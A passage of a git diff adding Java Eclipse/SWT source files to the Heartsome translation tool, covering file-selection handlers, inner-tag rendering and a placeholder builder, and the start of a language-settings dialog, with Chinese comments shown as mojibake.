net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.resource.Messages; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 处ç†å¤šé€‰ï¼ˆåœ¨åŒä¸€ä¸ªé¡¹ç›®ä¸­çš„)文件。支æŒé€‰ä¸­é¡¹ç›®ã€æ–‡ä»¶å¤¹ã€æ–‡ä»¶ã€‚ + * @author weachy + * @version + * @since JDK1.5 + */ +public abstract class AbstractSelectProjectFilesHandler extends AbstractHandler { + + public static final Logger LOGGER = LoggerFactory.getLogger(AbstractSelectProjectFilesHandler.class); + + protected Shell shell; + /** 所选中的是å¦æ˜¯ç¼–辑器 */ + protected boolean isEditor; + + public Object execute(ExecutionEvent event) throws ExecutionException { + shell = HandlerUtil.getActiveShell(event); + isEditor = false; + // UNDO 如果焦点在其他视图上时,获å–的文件错误。 + ISelection selection = HandlerUtil.getCurrentSelectionChecked(event); + if (selection == null || !(selection instanceof StructuredSelection) || selection.isEmpty()) { + MessageDialog.openInformation(shell, + Messages.getString("handlers.AbstractSelectProjectFilesHandler.msgTitle"), + Messages.getString("handlers.AbstractSelectProjectFilesHandler.msg1")); + return null; + } + StructuredSelection structuredSelection = (StructuredSelection) selection; + + IWorkbenchPart part = HandlerUtil.getActivePartChecked(event); + String partId = HandlerUtil.getActivePartIdChecked(event); + if (part instanceof IEditorPart) { // 当å‰ç„¦ç‚¹åœ¨ç¼–辑器 + IEditorInput editorInput = ((IEditorPart) part).getEditorInput(); + IFile iFile = (IFile) editorInput.getAdapter(IFile.class); + isEditor = true; + ArrayList list = new ArrayList(); + list.add(iFile); //代替 Arrays.asList(iFile) + return execute(event, list); + } else if ("net.heartsome.cat.common.ui.navigator.view".equals(partId)) { // 当å‰ç„¦ç‚¹åœ¨å¯¼èˆªè§†å›¾ + ArrayList list = new ArrayList(); + ArrayList wrongFiles = new ArrayList(); + String projectName = null; + @SuppressWarnings("unchecked") + Iterator iterator = structuredSelection.iterator(); + while (iterator.hasNext()) { + IResource resource = iterator.next(); + if (projectName == null) { + projectName = resource.getProject().getName(); + } else { + if (!projectName.equals(resource.getProject().getName())) { + MessageDialog.openInformation(shell, + Messages.getString("handlers.AbstractSelectProjectFilesHandler.msgTitle"), + Messages.getString("handlers.AbstractSelectProjectFilesHandler.msg2")); + return null; + } + } + if (resource instanceof IFile) { + IFile file = (IFile) resource; + String fileExtension = file.getFileExtension(); + if (getLegalFileExtensions() == null || getLegalFileExtensions().length == 0) { // 未é™åˆ¶åŽç¼€å的情况 + list.add(file); + } else { // é™åˆ¶äº†åŽç¼€å的情况 + if (fileExtension == null) { // æ— åŽç¼€å的文件 + fileExtension = ""; + } + if (CommonFunction.containsIgnoreCase(getLegalFileExtensions(), fileExtension)) { + list.add(file); + } else { + wrongFiles.add(file); + } + } + } else if (resource instanceof IContainer) { // IContainer åŒ…å« IFolderã€IPorject。 + try { + ResourceUtils.getFiles((IContainer) resource, list, getLegalFileExtensions()); + } catch (CoreException e) { + LOGGER.error(MessageFormat.format(Messages + .getString("handlers.AbstractSelectProjectFilesHandler.msg3"), resource.getFullPath() + .toOSString()), e); + e.printStackTrace(); + } + } + } + + if (!wrongFiles.isEmpty()) { + String msg = Messages.getString("handlers.AbstractSelectProjectFilesHandler.msg4"); + StringBuffer arg = new StringBuffer(); + for (IFile iFile : wrongFiles) { + arg.append("\n").append(iFile.getFullPath().toOSString()); + } + if (!MessageDialog.openConfirm(shell, + Messages.getString("handlers.AbstractSelectProjectFilesHandler.msgTitle"), MessageFormat.format(msg.toString(), arg.toString()))) { + return null; + } + } + + return execute(event, list); + } + + return null; + } + + /** + * 获å–åˆæ³•çš„文件åŽç¼€å + * @return ; + */ + public abstract String[] getLegalFileExtensions(); + + /** + * åŒ {@link #execute(ExecutionEvent)} + * @param event + * @param list + * 选中的文件列表。 + * @return ; + */ + public abstract Object execute(ExecutionEvent event, List list); + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/handlers/OpenViewHandler.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/handlers/OpenViewHandler.java new file mode 100644 index 0000000..bbc5f5e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/handlers/OpenViewHandler.java @@ -0,0 +1,86 @@ +/** + * OpenViewHandler.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.common.ui.handlers; + +import java.util.Map; + +import net.heartsome.cat.common.ui.Activator; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.IElementUpdater; +import org.eclipse.ui.menus.UIElement; + +/** + * 打开视图的 Handler,视图 ID 作为å‚数在 plugin.xml 中指定。 + * 修改handler类,切æ¢æŸ¥çœ‹èœå•çš„图标,--robert 2012-03-20 + */ +public class OpenViewHandler extends AbstractHandler implements IElementUpdater { + /** + * the command has been executed, so extract extract the needed information from the application context. + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + String viewId = event.getParameter("ViewId"); + if (viewId == null) { + return null; + } + + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart view = workbenchPage.findView(viewId); + if (view == null) { + try { + workbenchPage.showView(viewId); + } catch (PartInitException e) { + e.printStackTrace(); + } + } else { + workbenchPage.hideView(view); + } +// ICommandService commandService = (ICommandService) PlatformUI.getWorkbench().getService(ICommandService.class); +// commandService.refreshElements(event.getCommand().getId(), null); + return null; + } + + @SuppressWarnings("rawtypes") + public void updateElement(final UIElement element, Map parameters) { + if (parameters.get("ViewId") == null) { + return; + } + + final String viewId = (String) parameters.get("ViewId"); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window == null) { + return; + } + IWorkbenchPage workbenchPage = window.getActivePage(); + + if (workbenchPage == null) { + return; + } + IViewPart view = workbenchPage.findView(viewId); + + if (view == null) { + element.setIcon(Activator.getImageDescriptor("icons/disabled_co.png")); + } else { + element.setIcon(Activator.getImageDescriptor("icons/enabled_co.png")); + } + } + }); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/InnerTag.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/InnerTag.java new file mode 100644 index 0000000..f8a302c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/InnerTag.java @@ -0,0 +1,238 @@ +package net.heartsome.cat.common.ui.innertag; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.TagType; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Canvas; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Widget; + +public class InnerTag extends Canvas { + + /** æ­¤ Style 用æ¥åŠ å¿«å†…部标记é‡ç»˜çš„速度,以åŠæ¶ˆé™¤é—ªå±çŽ°è±¡ */ + private static final int DEFAULT_STYLE_OPTIONS = SWT.NO_REDRAW_RESIZE | SWT.DOUBLE_BUFFERED; + + // private static final int LINE_WIDTH = 1; // 线宽 + + private InnerTagBean innerTagBean; + + // private Point tagSize; + // + // private Color bgColor; + // private Color fgColor; + private boolean isSelected = false; + private InnerTagRender tagRender; + + /** + * 构造一个内部标记组件。 + * @param parent + * 父容器。 + * @param style + * 组件样å¼ã€‚å‚è§ SWT 组件样å¼ç›¸å…³å†…容:{@link Widget#getStyle()}ã€{@link SWT}。 + * @param tagContent + * 标记内容。 + * @param tagName + * 标记å称。 + * @param tagIndex + * 标记索引。 + * @param tagType + * 标记类型。 + * @param tagStyle + * 标记样å¼ã€‚ + */ + public InnerTag(Composite parent, int style, String tagContent, String tagName, int tagIndex, TagType tagType, + TagStyle tagStyle) { + this(parent, style, new InnerTagBean(tagIndex, tagName, tagContent, tagType), tagStyle); + } + + /** + * 构造一个内部标记组件。 + * @param parent + * 父容器。 + * @param style + * 组件样å¼ã€‚å‚è§ SWT 组件样å¼ç›¸å…³å†…容:{@link Widget#getStyle()}ã€{@link SWT}。 + * @param innerTagBean + * 内部标记实体 + * @param tagStyle + * 标记样å¼ã€‚ + */ + public InnerTag(Composite parent, int style, InnerTagBean innerTagBean, TagStyle tagStyle) { + super(parent, style | DEFAULT_STYLE_OPTIONS); + this.setInnerTagBean(innerTagBean); + this.setToolTipText(resetRegularString(innerTagBean.getContent())); + this.setBackground(parent.getBackground()); + tagRender = new InnerTagRender(this); + init(); + } + + private String resetRegularString(String input) { + input = input.replaceAll("&", "&"); + input = input.replaceAll("<", "<"); + input = input.replaceAll(">", ">"); + input = input.replaceAll(""", "\""); + return input; + + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null || !(obj instanceof InnerTag)) { + return false; + } + InnerTag that = (InnerTag) obj; + return this.getInnerTagBean().equals(that.getInnerTagBean()); + } + + /** + * 计算标记组件尺寸。å‚è§ Control 组件的 computeSize 方法。 + * @param wHint + * 组件宽度 + * @param hHint + * 组件高度 + * @param changed + * 尺寸是å¦å¯å˜ + */ + @Override + public Point computeSize(int wHint, int hHint, boolean changed) { + Point p = tagRender.calculateTagSize(innerTagBean); +// return super.computeSize(p.x, p.y, changed); + return p; + } + + // åˆå§‹åŒ–组件。 + private void init() { + addPaintListener(new PaintListener() { + + public void paintControl(PaintEvent e) { + tagRender.draw(e.gc, innerTagBean, 0, 0); + } + }); + + addMouseListener(new MouseAdapter() { + @Override + public void mouseDown(MouseEvent e) { + Control parent = getParent(); + if(parent instanceof StyledText){ + StyledText text = (StyledText) parent; + Point size = getSize(); + Point p = getLocation(); + int offset = text.getOffsetAtLocation(p); + int mouseX = e.x; + if(mouseX > size.x / 2 ){ + text.setCaretOffset(offset + 1); + } else { + text.setCaretOffset(offset); + } + } + } + }); + } + + public boolean isSelected() { + return isSelected; + }; + + public void setSelected(boolean isSelected) { + this.isSelected = isSelected; + } + + /** + * å„ç§æ ‡è®°ç»˜åˆ¶æ ·å¼æ•ˆæžœã€‚ + * @param args + * ; + */ + public static void main(String[] args) { + Display display = new Display(); + Shell shell = new Shell(display); + shell.setSize(800, 600); + GridLayout gl = new GridLayout(); + shell.setLayout(gl); + // + // Color borderColor = new Color(display, 0, 255, 255); + // Color textBgColor = new Color(display, 0, 205, 205); + // Color indexBgColor = new Color(display, 0, 139, 139); + // Color textFgColor = new Color(display, 0, 104, 139); + // Color indexFgColor = borderColor; + // + // Font font = new Font(Display.getDefault(), "Arial", 8, SWT.BOLD); + // + // InnerTag tag1 = new InnerTag(shell, SWT.NONE, "<this>& is a ph text.", "ph", + // 4333, + // STANDALONE, FULL); + // tag1.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag1.setFont(font); + // tag1.pack(); + // + // InnerTag tag2 = new InnerTag(shell, SWT.NONE, "this is a ph text.", "ph", 2, STANDALONE, + // SIMPLE); + // tag2.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag2.setFont(font); + // tag2.pack(); + // + // InnerTag tag3 = new InnerTag(shell, SWT.NONE, "this is a ph text.", "ph", 3, STANDALONE, + // INDEX); + // tag3.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag3.setFont(font); + // tag3.pack(); + // + // InnerTag tag4 = new InnerTag(shell, SWT.NONE, "", "bx", 4, START, FULL); + // tag4.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag4.setFont(font); + // tag4.pack(); + // + // InnerTag tag5 = new InnerTag(shell, SWT.NONE, "", "bx", 5, START, SIMPLE); + // tag5.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag5.setFont(font); + // tag5.pack(); + // + // InnerTag tag6 = new InnerTag(shell, SWT.NONE, "", "bx", 6, START, INDEX); + // tag6.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag6.setFont(font); + // tag6.pack(); + // + // InnerTag tag7 = new InnerTag(shell, SWT.NONE, "", "ex", 6, END, INDEX); + // tag7.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag7.setFont(font); + // tag7.pack(); + // + // InnerTag tag8 = new InnerTag(shell, SWT.NONE, "", "ex", 5, END, SIMPLE); + // tag8.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag8.setFont(font); + // tag8.pack(); + // // + // InnerTagControl tag9 = new InnerTagControl(shell, SWT.NONE, "", "", 4, STANDALONE, TagStyle.FULL); + // tag9.initColor(textFgColor, textBgColor, indexFgColor, indexBgColor, borderColor); + // tag9.setFont(font); + // tag9.pack(); + // + shell.pack(); + shell.open(); + while (!shell.isDisposed()) { + if (!display.readAndDispatch()) { + display.sleep(); + } + } + } + + public void setInnerTagBean(InnerTagBean innerTagBean) { + this.innerTagBean = innerTagBean; + } + + public InnerTagBean getInnerTagBean() { + return innerTagBean; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/InnerTagRender.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/InnerTagRender.java new file mode 100644 index 0000000..ab86416 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/InnerTagRender.java @@ -0,0 +1,163 @@ +/** + * InnerTagRender.java + * + * Version information : + * + * Date:2013-3-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.ui.innertag; + +import net.heartsome.cat.common.bean.ColorConfigBean; +import net.heartsome.cat.common.innertag.InnerTagBean; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +/** + * 内部标记渲染器 + * @author Jason + * @version + * @since JDK1.6 + */ +public class InnerTagRender { + + /** 标记字体 */ + private static Font TAG_FONT = new Font(Display.getDefault(), "Arial", 7, SWT.BOLD); + + private static final int MARGIN_H = 2; // æ–‡æœ¬çš„æ°´å¹³è¾¹è· + private static final int MARGIN_V = 2; // æ–‡æœ¬çš„åž‚ç›´è¾¹è· + + private InnerTag tag; + + public static void main(String[] args) { + Display ds = Display.getDefault(); + Shell shell = new Shell(ds); + shell.pack(); + shell.open(); + while (!shell.isDisposed()) { + if (!ds.readAndDispatch()) { + ds.sleep(); + } + } + } + + public InnerTagRender() { + } + + public InnerTagRender(InnerTag tag) { + this.tag = tag; + } + + public Point calculateTagSize(InnerTagBean innerTagBean) { + GC gc = new GC(Display.getDefault()); + gc.setFont(TAG_FONT); + Point tempSize = gc.textExtent(String.valueOf(innerTagBean.getIndex())); + // System.out.println("textSize: "+ tempSize); + Point tagSize = new Point(tempSize.x + MARGIN_H * 2, tempSize.y + MARGIN_V * 2); + int sawtooth = tagSize.y / 2; + + switch (innerTagBean.getType()) { + case STANDALONE: + tagSize.x += tagSize.y; + break; + + default: + tagSize.x += sawtooth; + break; + } + // System.out.println("TagSize :"+tagSize); + gc.dispose(); + return tagSize; + } + + public void draw(GC gc, InnerTagBean innerTagBean, int x, int y) { + Point tagSize = calculateTagSize(innerTagBean); + if (tag != null && tag.isSelected()) { + Color b = gc.getBackground(); + gc.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_LIST_SELECTION)); + gc.fillRectangle(0, 0, tagSize.x, tagSize.y); + gc.setBackground(b); + } + int[] tagAreaPoints = calculateTagArea(tagSize, innerTagBean, x, y); + String strInx = String.valueOf(innerTagBean.getIndex()); + Color gcBgColor = gc.getBackground(); + Color gcFgColor = gc.getForeground(); + Font gcFont = gc.getFont(); + gc.setFont(TAG_FONT); + // gc.setBackground(ColorConfigBean.getInstance().getTm90Color()); + // Point p = calculateTagSize(innerTagBean); + // gc.fillRectangle(x, y, p.x, p.y); + if (innerTagBean.isWrongTag()) { + gc.setBackground(ColorConfigBean.getInstance().getWrongTagColor()); + } else { + gc.setBackground(ColorConfigBean.getInstance().getTagBgColor()); + } + gc.setForeground(ColorConfigBean.getInstance().getTagFgColor()); + gc.fillPolygon(tagAreaPoints); + // gc.drawPolygon(tagAreaPoints); + if (innerTagBean.isWrongTag()) { + gc.setBackground(ColorConfigBean.getInstance().getWrongTagColor()); + } else { + gc.setBackground(ColorConfigBean.getInstance().getTagBgColor()); + } + gc.setForeground(ColorConfigBean.getInstance().getTagFgColor()); + switch (innerTagBean.getType()) { + case START: + gc.drawText(strInx, tagAreaPoints[0] + MARGIN_H, tagAreaPoints[1] + MARGIN_V); + break; + default: + gc.drawText(strInx, tagAreaPoints[2] + MARGIN_H, tagAreaPoints[3] + MARGIN_V); + break; + } + gc.setBackground(gcBgColor); + gc.setForeground(gcFgColor); + gc.setFont(gcFont); + } + + private int[] calculateTagArea(Point tagSize, InnerTagBean innerTagBean, int x, int y) { + int sawtooth = tagSize.y / 2; + int[] pointArray = null; + int x1 = x; + int y1 = y; + int y2 = y1 + tagSize.y / 2; + int y3 = y1 + tagSize.y; + switch (innerTagBean.getType()) { + case START: + int x3 = x1 + tagSize.x; + int x2 = x3 - sawtooth; + pointArray = new int[] { x1, y1, x2, y1, x3, y2, x2, y3, x1, y3 }; + // System.out.println( ""+ x1 +" "+ y1+", "+ x2+" "+ y1+ ", "+ x3+" "+ y2+", "+ x2+" "+ y3+ ", "+x1+" "+ + // y3); + // System.out.println( ""+ (x1+MARGIN_H) +" "+ (y1+MARGIN_V)); + break; + case END: + x2 = x1 + sawtooth; + x3 = x1 + tagSize.x; + // System.out.println( ""+ x1 +" "+ y2+", "+ x2+" "+ y1+ ", "+x3+" "+y1+","+ x3+" "+ y3+", "+ x2+" "+ y3); + pointArray = new int[] { x1, y2, x2, y1, x3, y1, x3, y3, x2, y3 }; + break; + case STANDALONE: + int x4 = x1 + tagSize.x; + x2 = x1 + sawtooth; + x3 = x4 - sawtooth; + // System.out.println( ""+ x1 +" "+ y2+", "+ x2+" "+ y1+ ", "+x3+" "+y1+","+x4+" "+y2+","+ x3+" "+ y3+", "+ + // x2+" "+ y3); + pointArray = new int[] { x1, y2, x2, y1, x3, y1, x4, y2, x3, y3, x2, y3 }; + break; + default: + break; + } + return pointArray; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/PlaceHolderNormalModeBuilder.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/PlaceHolderNormalModeBuilder.java new file mode 100644 index 0000000..6be6cc5 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/innertag/PlaceHolderNormalModeBuilder.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.common.ui.innertag; + +import static net.heartsome.cat.common.ui.utils.InnerTagUtil.INVISIBLE_CHAR; + +import java.util.List; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder; + +import org.eclipse.core.runtime.Assert; + +public class PlaceHolderNormalModeBuilder implements IPlaceHolderBuilder { + + private static String BLANK_CHARACTER = "\u2006"; + + public static Pattern PATTERN = Pattern.compile(BLANK_CHARACTER + "(" + INVISIBLE_CHAR + "\\d+)?" + INVISIBLE_CHAR + + "?((x|bx|ex|ph|g|bpt|ept|ph|it|mrk|sub)"+ + "|(<(x|bx|ex|ph|bpt|ept|ph|it|mrk|sub)\\s*(\\w*\\s*=\\s*('|\")(.|\n)*('|\"))*>?(.|\n)*)"+ + "|()|)?" + + INVISIBLE_CHAR + "?(\\d+" + INVISIBLE_CHAR + ")?" + BLANK_CHARACTER+"?"); + + private TagStyle style; + + /** + * 得到内部标记的å ä½ç¬¦ã€‚ + * @param innerTagBeans + * 内部标记集åˆï¼ˆä¸èƒ½ä¸ºnull) + * @param index + * 当å‰æ ‡è®°æ‰€åœ¨ç´¢å¼• + * @return 内部标记å ä½ç¬¦; + */ + public String getPlaceHolder(List innerTagBeans, int index) { + Assert.isNotNull(innerTagBeans); + + InnerTagBean innerTagBean = innerTagBeans.get(index); + int tagIndex = innerTagBean.getIndex(); + StringBuffer tagContent = new StringBuffer(); + StringBuffer innerTag = new StringBuffer(); + if (innerTagBean.getType() == TagType.START) { + StringBuffer id = createStyledTagStartIndex(tagIndex); + + if (style == TagStyle.SIMPLE || style == TagStyle.INDEX) { + innerTag.append(id); + if (style == TagStyle.SIMPLE) { + tagContent.append(INVISIBLE_CHAR).append(innerTagBean.getName()).append(INVISIBLE_CHAR); + innerTag.append(tagContent); // 形如“|_1| g_|†(“_â€ä»£æŒ‡ä¸å¯è§å­—符) + } + } else if (style == TagStyle.FULL) { + tagContent.append(INVISIBLE_CHAR).append(innerTagBean.getContent()).append(INVISIBLE_CHAR); + innerTag.append(id).append(tagContent);// 形如“|_1| g_|†(“_â€ä»£æŒ‡ä¸å¯è§å­—符) + } + } else if (innerTagBean.getType() == TagType.END) { + StringBuffer id = createStyledTagEndIndex(tagIndex); + if (style == TagStyle.SIMPLE || style == TagStyle.INDEX) { + if (style == TagStyle.SIMPLE) { + tagContent.append(INVISIBLE_CHAR).append(innerTagBean.getName()).append(INVISIBLE_CHAR); + innerTag.append(tagContent); // 形如“|_1| g_|†(“_â€ä»£æŒ‡ä¸å¯è§å­—符) + } + innerTag.append(id); + } else if (style == TagStyle.FULL) { + tagContent.append(INVISIBLE_CHAR).append(innerTagBean.getContent()).append(INVISIBLE_CHAR); + innerTag.append(tagContent).append(id); + } + } else if (innerTagBean.getType() == TagType.STANDALONE) { + StringBuffer id = createStyledTagStartIndex(tagIndex); + StringBuffer endId = createStyledTagEndIndex(tagIndex); + if (style == TagStyle.SIMPLE || style == TagStyle.INDEX) { + innerTag.append(id); + if (style == TagStyle.SIMPLE) { + tagContent.append(INVISIBLE_CHAR).append(innerTagBean.getName()).append(INVISIBLE_CHAR); + innerTag.append(tagContent).append(endId);// 形如“|_1| ph |1_|â€;(“_â€ä»£æŒ‡ä¸å¯è§å­—符) + } + } else if (style == TagStyle.FULL) { + tagContent.append(INVISIBLE_CHAR).append(innerTagBean.getContent()).append(INVISIBLE_CHAR); + innerTag.append(id).append(tagContent).append(endId); + } + } + return innerTag.insert(0, BLANK_CHARACTER).append(BLANK_CHARACTER).toString(); + } + + /** + * 此方法暂时无使用价值,无实现。 + * @see net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder#getIndex(java.lang.String) + */ + public int getIndex(List innerTagBeans, String placeHolder) { + // TODO 显示模å¼ä¸‹æ­¤æ–¹æ³•æš‚时用ä¸åˆ°ï¼Œä¸åšå®žçŽ° + return -1; + } + + /** + * 得到开始部分的标记索引 + * @param index + * æ ‡è®°ç´¢å¼•å· + * @return ; + */ + public static StringBuffer createStyledTagStartIndex(int index) { + return new StringBuffer().append(INVISIBLE_CHAR).append(index); + } + + /** + * 得到结尾部分的标记索引 + * @param index + * æ ‡è®°ç´¢å¼•å· + * @return ; + */ + public static StringBuffer createStyledTagEndIndex(int index) { + return new StringBuffer().append(index).append(INVISIBLE_CHAR); + } + + public void setStyle(TagStyle style) { + this.style = style; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/AddOrUpdateLanguageDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/AddOrUpdateLanguageDialog.java new file mode 100644 index 0000000..82105ec --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/AddOrUpdateLanguageDialog.java @@ -0,0 +1,330 @@ +package net.heartsome.cat.common.ui.languagesetting; + +import java.io.IOException; + +import net.heartsome.cat.common.core.CoreActivator; +import net.heartsome.cat.common.ui.Activator; +import net.heartsome.cat.common.ui.resource.Messages; +import net.heartsome.cat.common.util.TextUtil; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.MessageBox; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加/编辑语言代ç å¯¹è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class AddOrUpdateLanguageDialog extends Dialog { + + public static final int DIALOG_ADD = 0; + + public static final int DIALOG_EDIT = 1; + + /** 语言代ç æ–‡æœ¬æ¡† */ + public Text txtCode; + + public Label imageLabel; + + /** 语言å称文本框 */ + public Text txtName; + + /** 是å¦åŒå‘按钮 > 是 */ + public Button btnIsBidi; + + /** 是å¦åŒå‘按钮 > å¦ */ + public Button btnIsNotBidi; + + /** 对è¯æ¡†ç±»åž‹ */ + private int intType; + + /** è¯­è¨€ä»£ç  */ + private String strCode; + + // å›¾æ ‡èµ„æº + private String imagePath = ""; + + /** 语言å称 */ + private String strName; + + /** 是å¦åŒå‘ */ + private boolean blnIsBidi = false; + + private LanguageModel languageModel; + + private Image image; + + protected AddOrUpdateLanguageDialog(Shell parentShell, int intType) { + super(parentShell); + this.intType = intType; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + if (intType == DIALOG_ADD) { + newShell.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.addTitle")); + } else if (intType == DIALOG_EDIT) { + newShell.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.editTitle")); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, true); + tparent.setLayoutData(data); + + GridLayout layout = new GridLayout(3, false); + tparent.setLayout(layout); + + GridData txtData = new GridData(GridData.FILL_HORIZONTAL); + txtData.horizontalSpan = 2; + + Label lbl = new Label(tparent, SWT.NONE); + lbl.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.lblLangImage")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + imageLabel = new Label(tparent, SWT.NONE); + GridData imGd = new GridData(); + imGd.widthHint = 16; + imGd.heightHint = 12; + imageLabel.setLayoutData(imGd); + imageLabel.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + + try { + String bundlePath = FileLocator.toFileURL(Activator.getDefault().getBundle().getEntry("")).getPath(); + if (this.imagePath != null && !this.imagePath.equals("")) { + String imagePath = bundlePath + this.imagePath; + if (image != null && !image.isDisposed()) { + image.dispose(); + } + image = new Image(getShell().getDisplay(), imagePath); + } + + if (image != null) { + ImageData imgData = image.getImageData().scaledTo(16, 12); + if (image != null && !image.isDisposed()) { + image.dispose(); + } + image = new Image(getShell().getDisplay(), imgData); + 